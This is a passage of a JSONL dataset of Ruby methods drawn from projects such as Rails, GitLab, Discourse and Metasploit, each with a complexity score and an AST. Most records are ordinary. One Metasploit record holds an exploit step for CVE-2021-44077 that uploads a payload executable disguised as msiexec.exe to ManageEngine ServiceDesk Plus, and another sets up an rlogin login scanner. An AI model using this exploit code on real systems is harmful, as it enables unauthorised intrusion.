end","complexity_score":39.1,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"column_definition\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"index_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"column_definition\"]},\"split\",{\"type\":\"str\",\"children\":[\":\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_index_type?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_type\"]},{\"type\":\"lvasgn\",\"children\":[\"type\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"attr_options\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parse_type_and_options\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvasgn\",\"children\":[\"type\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},\"to_sym\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"dangerous_name?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not generate field '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"', as it is already defined by Active Record.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_type?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not generate field '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"' with unknown type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"'.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_index_type?\",{\"type\":\"lvar\",\"children\":[\"index_type\"]}]},\"!\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"Error\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not generate field '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\"' with unknown index '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_type\"]}]},{\"type\":\"str\",\"children\":[\"'.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[null,\"reference?\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UNIQ_INDEX_OPTIONS\"]},\"include?\",{\"type\":\"lvar\",\"children\":[\"index_type\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"index\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"unique\"]},{\"type\":\"true\",\"children\":[]}]}]}]},null]},null]},{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"type\"]},{\"type\":\"lvar\",\"children\":[\"index_type\"]},{\"type\":\"lvar\",\"children\":[\"attr_options\"]}]}]}]}","id":"8410a756-7447-4e44-ad33-8d5874fe31bf"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/logging_test.rb","start_line":235,"raw_source":"def test_enqueue_log_when_enqueue_error_is_set\n    EnqueueErrorJob.disable_test_adapter\n\n    EnqueueErrorJob.perform_later\n    assert_match(/Failed enqueuing EnqueueErrorJob to EnqueueError\\(default\\): ActiveJob::EnqueueError \\(There was an error enqueuing the job\\)/, @logger.messages)\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enqueue_log_when_enqueue_error_is_set\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnqueueErrorJob\"]},\"disable_test_adapter\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnqueueErrorJob\"]},\"perform_later\"]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed enqueuing EnqueueErrorJob to EnqueueError\\\\(default\\\\): ActiveJob::EnqueueError \\\\(There was an error enqueuing the job\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]}","id":"3f5f8850-d878-41ad-94fa-cac227112ee4"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/form_fields/form_field.rb","start_line":20,"raw_source":"def expect_required\n      expect(field_container)\n        .to have_css \".spot-form-field--label-indicator\", text: \"*\"\n    end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_required\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"field_container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".spot-form-field--label-indicator\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"str\",\"children\":[\"*\"]}]}]}]}]}]}","id":"cba3ed27-8693-49d7-9786-3f3b93578aa0"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/lib/chat/parsed_mentions.rb","start_line":63,"raw_source":"def groups_with_disabled_mentions\n      @groups_with_disabled_mentions ||= visible_groups - mentionable_groups\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"groups_with_disabled_mentions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@groups_with_disabled_mentions\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visible_groups\"]},\"-\",{\"type\":\"send\",\"children\":[null,\"mentionable_groups\"]}]}]}]}","id":"8e6b345c-8fcf-4148-934e-e27d23dce689"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/price.rb","start_line":69,"raw_source":"def compare_at_amount=(value)\n      calculated_value = Spree::LocalizedNumber.parse(value) if value.present?\n\n      self[:compare_at_amount] = calculated_value\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"compare_at_amount=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"calculated_value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"LocalizedNumber\"]},\"parse\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"sym\",\"children\":[\"compare_at_amount\"]},{\"type\":\"lvar\",\"children\":[\"calculated_value\"]}]}]}]}","id":"d357fcc9-8cab-4b5e-a27e-471b12949b32"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/app/controllers/active_storage/representations/redirect_controller.rb","start_line":10,"raw_source":"def show\n    expires_in ActiveStorage.service_urls_expire_in\n    redirect_to @representation.url(disposition: params[:disposition]), allow_other_host: true\n  end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expires_in\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"service_urls_expire_in\"]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@representation\"]},\"url\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"disposition\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"disposition\"]}]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"allow_other_host\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"af36051c-7e8a-4067-a775-6ec57883b296"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/ostatus/tag_manager.rb","start_line":22,"raw_source":"def local_id?(id)\n    id.start_with?(\"tag:#{Rails.configuration.x.local_domain}\") || ActivityPub::TagManager.instance.local_uri?(id)\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"local_id?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},\"start_with?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"tag:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"configuration\"]},\"x\"]},\"local_domain\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"local_uri?\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}","id":"8a9f909b-72b8-4eec-8f78-329b9612942f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/ldap/omniauth_callbacks_controller.rb","start_line":44,"raw_source":"def check_action_name_in_available_providers\n    render_404 unless available_providers.include?(action_name)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"check_action_name_in_available_providers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available_providers\"]},\"include?\",{\"type\":\"send\",\"children\":[null,\"action_name\"]}]},null,{\"type\":\"send\",\"children\":[null,\"render_404\"]}]}]}","id":"8010595d-e5f6-41bf-a622-f88432507b49"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/rservices/rlogin_login.rb","start_line":17,"raw_source":"def initialize\n    super(\n      'Name' => 'rlogin Authentication Scanner',\n      'Description' => %q{\n          This module will test an rlogin service on a range of machines and\n        report successful logins.\n\n        NOTE: This module requires access to bind to privileged ports (below 1024).\n      },\n      'References' => [\n        [ 'CVE', '1999-0651' ],\n        [ 'CVE', '1999-0502'] # Weak password\n      ],\n      'Author' => [ 'jduck' ],\n      'License' => MSF_LICENSE\n    )\n\n    register_options(\n      [\n        Opt::RPORT(513),\n        OptString.new('TERM', [ true, 'The terminal type desired', 'vt100' ]),\n        OptString.new('SPEED', [ true, 'The terminal speed desired', '9600' ])\n      ]\n    )\n  end","complexity_score":5.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"rlogin Authentication Scanner\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module will test an rlogin service on a range of machines and\\n\"]},{\"type\":\"str\",\"children\":[\"        report successful logins.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        NOTE: This module requires access to bind to privileged ports (below 1024).\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0651\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"1999-0502\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jduck\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[513]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TERM\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The terminal type desired\"]},{\"type\":\"str\",\"children\":[\"vt100\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"SPEED\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The terminal speed desired\"]},{\"type\":\"str\",\"children\":[\"9600\"]}]}]}]}]}]}]}","id":"f04fbf6f-6770-4dd2-962f-ad54d8f4c374"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/design_management/design_service.rb","start_line":24,"raw_source":"def repository\n      collection.repository\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"repository\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection\"]},\"repository\"]}]}","id":"db353a2c-060a-4ce9-91b7-6a3273da0108"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/releases.rb","start_line":386,"raw_source":"def authorize_read_releases!\n        authorize! :read_release, user_project\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_read_releases!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"authorize!\",{\"type\":\"sym\",\"children\":[\"read_release\"]},{\"type\":\"send\",\"children\":[null,\"user_project\"]}]}]}","id":"0206994e-99ea-487c-946d-bfc5314231e1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/manageengine_servicedesk_plus_cve_2021_44077.rb","start_line":90,"raw_source":"def upload_msiexec\n    print_status('Uploading msiexec.exe')\n\n    form = Rex::MIME::Message.new\n    form.add_part(Faker::Hacker.verb, nil, nil, 'form-data; name=\"step\"')\n    form.add_part(generate_payload_exe, 'application/octet-stream', 'binary',\n                  'form-data; name=\"theFile\"; filename=\"msiexec.exe\"')\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, '/RestAPI/ImportTechnicians'),\n      'ctype' => \"multipart/form-data; boundary=#{form.bound}\",\n      'data' => form.to_s\n    )\n\n    unless res&.code == 401 && res.body.include?('sdp.vulnerability.exceptionerror.title')\n      fail_with(Failure::NotVulnerable, 'Failed to upload msiexec.exe')\n    end\n\n    print_good('Successfully uploaded msiexec.exe')\n  end","complexity_score":25.23,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_msiexec\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Uploading msiexec.exe\"]}]},{\"type\":\"lvasgn\",\"children\":[\"form\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"MIME\"]},\"Message\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"add_part\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Hacker\"]},\"verb\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"step\\\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"add_part\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]},{\"type\":\"str\",\"children\":[\"application/octet-stream\"]},{\"type\":\"str\",\"children\":[\"binary\"]},{\"type\":\"str\",\"children\":[\"form-data; name=\\\"theFile\\\"; filename=\\\"msiexec.exe\\\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"/RestAPI/ImportTechnicians\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"bound\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"form\"]},\"to_s\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[401]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"sdp.vulnerability.exceptionerror.title\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NotVulnerable\"]},{\"type\":\"str\",\"children\":[\"Failed to upload msiexec.exe\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully uploaded msiexec.exe\"]}]}]}]}","id":"115ac9ca-9095-44bd-a1a6-c51d1bdcb3bf"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/api/entities/pull_mirror.rb","start_line":27,"raw_source":"def enabled\n        object.project.mirror\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"project\"]},\"mirror\"]}]}","id":"a4b37960-1f7a-4666-8d88-a2ed9611cd29"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/autosave_association.rb","start_line":311,"raw_source":"def nested_records_changed_for_autosave?\n        @_nested_records_changed_for_autosave_already_called ||= false\n        return false if @_nested_records_changed_for_autosave_already_called\n        begin\n          @_nested_records_changed_for_autosave_already_called = true\n          self.class._reflections.values.any? do |reflection|\n            if reflection.options[:autosave]\n              association = association_instance_get(reflection.name)\n              association && Array.wrap(association.target).any?(&:changed_for_autosave?)\n            end\n          end\n        ensure\n          @_nested_records_changed_for_autosave_already_called = false\n        end\n      end","complexity_score":27.2,"ast_json":"{\"type\":\"def\",\"children\":[\"nested_records_changed_for_autosave?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_nested_records_changed_for_autosave_already_called\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@_nested_records_changed_for_autosave_already_called\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@_nested_records_changed_for_autosave_already_called\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"_reflections\"]},\"values\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"reflection\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"autosave\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"association\",{\"type\":\"send\",\"children\":[null,\"association_instance_get\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reflection\"]},\"name\"]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"wrap\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},\"target\"]}]},\"any?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"changed_for_autosave?\"]}]}]}]}]},null]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_nested_records_changed_for_autosave_already_called\",{\"type\":\"false\",\"children\":[]}]}]}]}]}]}","id":"9d30247a-5073-4140-8c8e-ce44669536ea"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/mongo.rb","start_line":22,"raw_source":"def group(id)\n      group = mongo.find(_key: \"group:#{id}\").first\n      group[\"createtime\"] = timestamp_to_date(group[\"createtime\"])\n      group[\"member_ids\"] = mongo.find(_key: \"group:#{id}:members\").pluck(:value)\n      if mongo.find(_key: \"group:#{id}:owners\").first\n        group[\"owner_ids\"] = mongo.find(_key: \"group:#{id}:owners\").first[:members]\n      else\n        group[\"owner_ids\"] = []\n      end\n\n      group\n    end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"group\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mongo\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"group:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]}]}]}]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"createtime\"]},{\"type\":\"send\",\"children\":[null,\"timestamp_to_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]\",{\"type\":\"str\",\"children\":[\"createtime\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"member_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mongo\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"group:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\":members\"]}]}]}]}]},\"pluck\",{\"type\":\"sym\",\"children\":[\"value\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mongo\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"group:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\":owners\"]}]}]}]}]},\"first\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"owner_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mongo\"]},\"find\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"_key\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"group:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"str\",\"children\":[\":owners\"]}]}]}]}]},\"first\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"members\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"owner_ids\"]},{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"lvar\",\"children\":[\"group\"]}]}]}","id":"44e696ea-0b73-4272-8d56-4ac2c12f84cd"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/precheck/lib/precheck/rules/free_stuff_iap_rule.rb","start_line":25,"raw_source":"def lowercased_words_to_look_for\n      [\n        \"free\"\n      ].map(&:downcase)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"lowercased_words_to_look_for\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"free\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"downcase\"]}]}]}]}","id":"3f64a668-7cf2-477c-b34d-4b965f3ef9ff"}
